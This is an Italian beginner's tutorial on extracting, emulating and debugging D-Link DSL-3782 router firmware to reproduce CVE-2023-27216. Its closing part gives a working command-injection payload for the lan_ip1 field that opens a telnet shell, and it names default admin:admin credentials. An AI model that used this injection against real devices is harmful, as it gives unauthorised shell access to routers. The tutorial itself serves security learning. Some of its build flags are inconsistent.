
Approccio da neofita all'hacking del firmware
Questo documento è la mia esperienza personale in qualità di principiante nel reversing e nello sfruttamento di firmware.

A scopo dimostrativo, analizzeremo e riprodurremo CVE-2023-27216.
Per sfruttare qualsiasi firmware, sono necessari i seguenti passaggi:
gdbserver per il debug.Di solito un file binario del firmware contiene un bootloader (uBoot), un file del kernel, l'header del kernel per il bootloader (uImage), un file system compresso (generalmente in formato SquashFS), una tabella CRC/MD5 (per verificare l'integrità dei file) e altri file vari.
Per prima cosa, individua un metodo per analizzare il firmware; dopo qualche ricerca, ecco alcune risorse:

Estrai il firmware usando binwalk: binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

Ho ottenuto la cartella squashfs-root estratta e alcuni file strani.

Bonus: Se non vedi la cartella squashfs-root, puoi usare unsquashfs su qualsiasi file .squashfs che trovi. Sono come file zip 😅.
Controlla l'architettura e l'endianness del firmware. Puoi farlo esaminando alcuni binari estratti dal firmware. Controlla l'architettura e il firmware: file <binary>

Qui possiamo quasi confermare che il firmware gira su un'architettura MIPS 32-bit MSB. Il motivo del "quasi" è che alcuni firmware potrebbero girare su un'architettura diversa ma MIPS Compatible, come Lexra.
Controllando la cartella squashfs-root ho trovato alcuni file interessanti:
usr/etc/init.d/rcS => Questo è lo script che viene eseguito all'avvio del firmwareusr/etc/passwd => Questo è il file che contiene le informazioni degli utentiuserfs/romfile.cfg => Ci sono delle credenziali admin:adminControllando il file rcS ho trovato del codice interessante:
echo "admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh" > /usr/etc/passwd
passwdBoa è un server web antico, usato principalmente in dispositivi embedded come i router negli anni 2000. Tuttavia, lo sviluppo di boa server si è fermato nel 2005! Anche se Boa server è morto quasi 20 anni fa, vive ancora oggi grazie al nostro produttore.

Consiglio di usare un OS basato su Debian per il processo di emulazione, come Ubuntu o Kali. C'è anche un altro OS incentrato sull'hacking di firmware chiamato AttifyOS. In questo documento ho usato Kali Linux. Per iniziare il processo di emulazione, ci sono 2 strumenti:

Vediamo come usare FAT per emulare completamente un firmware. Per prima cosa, cloniamo la repo da GitHub sulla tua macchina Kali. Poi seguiamo la procedura di setup. Devi anche modificare il file fat.config, altrimenti non funzionerà.
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
vi fat.config # Modify to your sudo password.
Poi copiamo il binario del firmware (quello scaricato dal produttore) nella cartella di FAT sulla nostra macchina Kali e lo eseguiamo.
./fat.py DSL-3782_A1_EU_1.01_07282016.bin
Nota: Durante il processo di setup di FAT si potrebbero incontrare errori. Potrebbe dire che manca libmagic.

Basta semplicemente eseguire
pip unistall python-magic
pip install python-magic
Questo dovrebbe risolvere il problema; poi eseguiamo di nuovo il comando di build. Ora dovrebbe funzionare a meraviglia.

Premi Enter per eseguire. Il processo di emulazione dovrebbe funzionare correttamente: puoi visitare http://192.168.1.1 (sulla macchina Kali) per verificare se funziona o no.

Puoi anche accedere alla console se hai le credenziali. Ecco admin:admin.

Se decidi di spegnere il firmware emulato, premi semplicemente Ctrl+A X. Quando devi eseguirlo di nuovo, non rilanciare fat.py perché il firmware è già stato convertito in un'immagine. Devi solo eseguire lo script che è già stato generato.
cd firmadyne/scratch/<Image-ID>
./run.sh

Compila gdbserver per il debug. Ci sono molti modi per compilare gdbserver. Puoi anche scaricare un server compilato staticamente. C'è una repo che contiene alcune versioni statiche. Tuttavia, preferisco compilare gdbserver da solo perché quelle nella repo GitHub sono piuttosto vecchie e potrebbero avere problemi di compatibilità.
Fai riferimento a questo post del blog: https://sheran.sg/blog/cross-compile-gdb-for-mips/. Il blog è stato pubblicato il 30 luglio 2024, poco prima di questo progetto, quindi funziona perfettamente.
Nota: Il blog è pensato per MIPS x32 LSB, ma a noi serve MIPS x32 MSB. Dobbiamo cambiare mipsel-linux-gnu in mips-linux-gnu.
Dobbiamo installare la toolchain per MIPS. Fortunatamente, il pacchetto Debian la include già.
**apt update && apt upgrade -y
apt install -y build-essential m4 gcc-mips-linux-gnu g++-mips-linux-gnu**
Per compilare gdbserver per MIPS, ci sono alcuni pacchetti che dobbiamo compilare e installare. Ecco da dove ho preso il sorgente.
Scarica i sorgenti
wget https://sourceware.org/pub/gdb/releases/gdb-15.1.tar.xz
wget https://gmplib.org/download/gmp/gmp-6.3.0.tar.xz
wget https://www.mpfr.org/mpfr-current/mpfr-4.2.1.tar.xz
Compila le librerie con la toolchain È fondamentale avere i privilegi di root quando si compilano queste librerie. Dobbiamo prima compilare GMP perché è un requisito per la compilazione di MPFR.
tar xvf gmp-6.3.0.tar.xz && cd gmp-6.3.0
./configure --host=mips-linux-gnu
make -j$((`nproc`+1))
make install
cd ..
Poi compiliamo MPFR:
tar xvf mpfr-4.2.1.tar.xz && cd mpfr-4.2.1
./configure --host=mipsel-linux-gnu --with-gmp-build=<YOUR-FOLDER>/gmp-6.3.0
make -j$((`nproc`+1))
make install
cd ..
Ora possiamo finalmente compilare gdbserver:
tar xvf gdb-15.1.tar.xz && cd gdb-15.1
./configure --host=mipsel-linux-gnu --with-gmp-lib=/usr/local/lib --with-mpfr-lib=/usr/local/lib --with-gmp-include=<YOUR-FOLDER>/gmp-6.3.0 --with-mpfr-include=<YOUR-FOLDER>/mpfr-4.2.1/src
make -j$((`nproc`+1)) LDFLAGS=-static
Il binario compilato gdbserver dovrebbe trovarsi nella cartella gdb-15.1/gdbserver.
Il firmware emulato non ha wget, nc, curl, /dev/tcp, ... Non possiamo avviare un server HTTP Python per trasferire file. Non abbiamo nemmeno ssh. Tuttavia, possiamo comunque inserire il nostro gdbserver nella macchina emulata montando l'immagine.
sudo ./scripts/mount.sh 1gdbserver compilato staticamente in un punto qualsiasi della cartella montata.sudo ./scripts/umount.sh 1./run.sh per sicurezza).

Ora puoi eseguire debug e hacking all'interno della macchina Kali. Tuttavia, possiamo fare un passo avanti inoltrando le porte della macchina emulata verso la nostra macchina host (Windows o Mac).
Prima controlliamo la rete usando ifconfig.

Il risultato ci mostra che ci sono 2 interfacce: eth0 e tap1_0. Da quello che sappiamo, l'interfaccia eth0 fa parte della rete condivisa con l'host, mentre tap1_0 è l'interfaccia della macchina con il firmware emulato.
Per capire meglio: la rete di eth0 è come una rete pubblica da cui possiamo accedere alla macchina Kali dall'host. tap1_0 è invece una rete privata accessibile solo dalla macchina Kali. Dobbiamo inoltrare la connessione da eth0 all'indirizzo 192.168.1.1:80 sull'interfaccia tap1_0.
Ci sono molti strumenti che possono aiutarci in questo. Tuttavia, iptables sembra funzionare meglio, se sai come configurarlo, ovviamente.
Dobbiamo prima abilitare l'inoltro porte. Esegui questo comando:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
Questo vale solo per una sessione. Se vuoi applicarlo in modo permanente, modifica il contenuto di /etc/sysctl.conf.
net.ipv4.ip_forward=1 # Find this line, uncomment it.
Salva e chiudi il file quando hai finito.
Poi applica le impostazioni del file. Esegui il seguente comando:
sudo sysctl -p
sudo sysctl --system
Normalmente, potremmo eseguire un sacco di comandi iptables. Ma sarebbe troppo noioso 😵💫. Possiamo installare uno strumento, iptables-persistent. Ti permette di scrivere un file di configurazione, caricarlo da file o estrarre le catene in un file. Tutto può essere fatto rapidamente.
apt install iptables-persistent
Il file di configurazione che vogliamo modificare è /etc/iptables/rules.v4. Modifichiamo il contenuto del file con quello qui sotto.
*filter
:INPUT ACCEPT [37:22880]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [35:2330]
# Forward HTTP Port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 80 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 80 -s 192.168.1.1 -j ACCEPT
# Forward Debugger port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 31337 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 31337 -s 192.168.1.1 -j ACCEPT
COMMIT
# Completed on Wed Aug 7 09:32:11 2024
# Generated by iptables-save v1.8.10 (nf_tables) on Wed Aug 7 09:32:11 2024
*nat
:PREROUTING ACCEPT [60:5405]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [1096:50947]
-A PREROUTING -i eth0 -p tcp -j DNAT --to-destination 192.168.1.1
-A POSTROUTING -o tap1_0 -p tcp -d 192.168.1.1 -j MASQUERADE
Attenzione: Consentire tutte le porte genera una serie di problemi di sicurezza. Si consiglia di applicare
DROPsu tutte le porte e poiFORWARDsolo su quelle che preferisci.
Salva e ricarica le catene di iptables.
service netfilter-persistent reload
Ora puoi accedervi dall'esterno dell'host.

Ci sono più endpoint da sfruttare. Due di questi si trovano nel binario cfg_manager. Ne dimostro solo uno, l'altro lo lascio scoprire a te.
Getta il binario nel tuo decompilatore preferito, cerca tutti i comandi system, potresti vedere questo. Il comando esegue un file chiamato /etc/lanconfig.sh.

Cercando altri punti che potrebbero usare questo file, ho trovato un punto in cui possiamo scrivere il file.

Spiegando cosa fa:
/etc/lanconfig.shmxmlElementGetAttr che, immagino, recuperi un attributo da un oggetto, direttamente o indirettamente da una richiesta HTTP, potrebbe essere XML.sprintf per creare una stringa dagli attributi ottenuti da mxmlElementGetAttr.fputs per scrivere nel file.Immediatamente, ho cercato qualsiasi cosa nella cartella web boaroot che fosse correlata a IP, netmask e ho trovato questo. La documentazione per boa webserver è estremamente limitata; posso solo supporre che inserisca il parametro POST lan_ip1 nei parametri IP in un XML che viene chiamato dal binario.

Nell'interfaccia possiamo trovare la richiesta che innesca il bug. Si trova in Settings > Network

Intercetta la richiesta con Burpsuite quando premiamo Save.

Il payload 192.168.1.1;utelnetd -p 8090 -l /bin/sh; è una reverse shell. Possiamo eseguirlo e connetterci ad essa.

Simile, potrebbe essere migliore di FAT, non l'ho ancora provato -> FirmAE.
Binary Ninja costa solo 74$ se hai lo status di studente. La licenza può essere condivisa con chiunque.
Altri bug correlati alla CVE:

Anche questo può portare a una RCE, te lo lascio fare da solo. La memoria in quella posizione, data_4c0160, può essere iniettata da qualche parte 🫡.

